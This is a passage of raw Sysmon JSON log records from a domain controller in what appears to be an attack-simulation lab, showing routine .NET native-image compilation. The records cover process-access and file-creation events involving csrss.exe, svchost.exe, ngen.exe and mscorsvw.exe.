12:03:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7880,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:19.416\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4307-5F2D-0000-0010956B0F00}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:19.416","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4307-5F2D-0000-0010956B0F00}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7881,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:19.432\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4307-5F2D-0000-0010956B0F00}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:19.432","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4307-5F2D-0000-0010956B0F00}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7882,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:19.526\r\nProcessGuid: {90617006-4307-5F2D-0000-0010956B0F00}\r\nProcessId: 3820\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\eec-0\\System.ServiceModel.ServiceMoniker40.dll\r\nCreationUtcTime: 2020-08-07 12:03:19.526","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:19.526","ProcessGuid":"{90617006-4307-5F2D-0000-0010956B0F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\eec-0\\System.ServiceModel.ServiceMoniker40.dll","CreationUtcTime":"2020-08-07 12:03:19.526","EventReceivedTime":"2020-08-07 12:03:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7883,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:19.588\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42DC-5F2D-0000-001038FC0D00}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:19.588","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42DC-5F2D-0000-001038FC0D00}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7884,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:19.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42DC-5F2D-0000-001038FC0D00}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:19.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42DC-5F2D-0000-001038FC0D00}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7885,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:19.666\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4307-5F2D-0000-001015710F00}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:19.666","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4307-5F2D-0000-001015710F00}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7886,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:19.947\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4307-5F2D-0000-001080750F00}\r\nTargetProcessId: 3340\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:19.947","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4307-5F2D-0000-001080750F00}","TargetProcessId":"3340","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7887,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:19.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4307-5F2D-0000-001080750F00}\r\nTargetProcessId: 3340\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:19.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4307-5F2D-0000-001080750F00}","TargetProcessId":"3340","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7888,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:20.016\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4307-5F2D-0000-001080750F00}\r\nTargetProcessId: 3340\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:20.016","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4307-5F2D-0000-001080750F00}","TargetProcessId":"3340","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7889,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:21.338\r\nProcessGuid: {90617006-4307-5F2D-0000-001080750F00}\r\nProcessId: 3340\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: 